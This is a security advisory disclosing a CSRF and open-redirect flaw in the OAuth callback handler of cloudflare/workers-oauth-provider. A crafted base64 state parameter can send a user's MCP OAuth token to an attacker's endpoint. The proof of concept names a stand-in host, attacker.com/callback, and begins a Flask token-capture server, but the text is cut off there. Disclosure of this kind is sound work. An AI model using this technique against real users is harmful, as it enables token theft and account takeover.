Token Leak via Open Redirection and CSRF in the Callback Handler of cloudflare/workers-oauth-provider

sleightofalex
Sun, 14 Dec 2025 15:59:24 -0800

### Summary
Clients are required in the [OAuth spec](https://datatracker.ietf.org/doc/html/rfc6749#section-10.12) to prevent CSRF attacks at its Callback handler. The implementation in [cloudflare...

**security-research** Public # Token Leak via Open Redirection and CSRF in the Callback Handler of cloudflare/workers-oauth-provider ## Package ## Affected versions ## Patched versions ## Description ### Summary Clients are required in the OAuth spec to prevent CSRF attacks at its Callback handler. The implementation in cloudflare/workers-oauth-provider doesn’t protect against CSRF and, in addition, it uses the plaintext redirect\_uri parameter in the base64 encoded state parameter to redirect the auth code or token. This means that an attacker crafted URL with a custom state parameter can openly redirect the user’s MCP OAuth token to arbitrary endpoints even though the user thinks they are interacting with a known MCP server. ### Background Normally, authentication with Cloudflare MCP servers using cloudflare/workers-oauth-provider involves two separate OAuth flows, one between the MCP Client and the Cloudflare MCP Server and another between the MCP Server (acting as an OAuth client) and the Cloudflare Authorization server. This matches the Third-Party Authorization Flow found in early versions of the MCP Specification that has since been removed. However, the attacker can short circuit the normal flow by creating their own Authorization URL, replacing the redirection URL that would normally go to the Valid MCP client with their own server’s URL. This results in the user going through an OAuth flow with Cloudflare’s Authorization server and MCP Server as if it was a valid client, but instead redirecting the user’s token to the attacker’s server. At the time of reporting this issue, there was also no consent page for dynamically registered OAuth clients at Cloudflare’s MCP servers which would also allow token theft by the attacker dynamically registering their own OAuth client. This separate issue is in the MCP Server implementation itself and was already known by Cloudflare and has since also been fixed. ### Severity Medium - The user must visit a link and consent to giving Cloudflare’s MCP server access to their account (see screenshot in Proof of Concept section), however there is no consent mentioning or granting access to the attacker controlled endpoint. This results in the user thinking they are interacting only with valid Cloudflare owned services, while their token is actually being sent to the attacker. ### Proof of Concept The cloudflare/workers-oauth-provider callback handler implementation trusts the incoming state parameter without performing any CSRF prevention. The state parameter is a base64 encoded, but otherwise unprotected, JSON message that contains the redirectUri the user’s auth code or token is redirected to. This redirectUri is not checked against the OAuth client configuration. As an example, the decoded state parameter from a valid OAuth flow looks like: ## **As the Attacker** Create a hosted endpoint that can capture the callback from the server using cloudflare/workers-oauth-provider. We use https://bindings.mcp.cloudflare.com/ as an example that uses cloudflare/workers-oauth-provider, but all the Cloudflare MCP servers appear to use the package. We will say this callback is hosted at https://attacker.com/callback in the example below. ``` import datetime import tempfile import base64 from flask import Flask, request, redirect app = Flask(__name__) @app.route("/callback") def callback(): html_content = """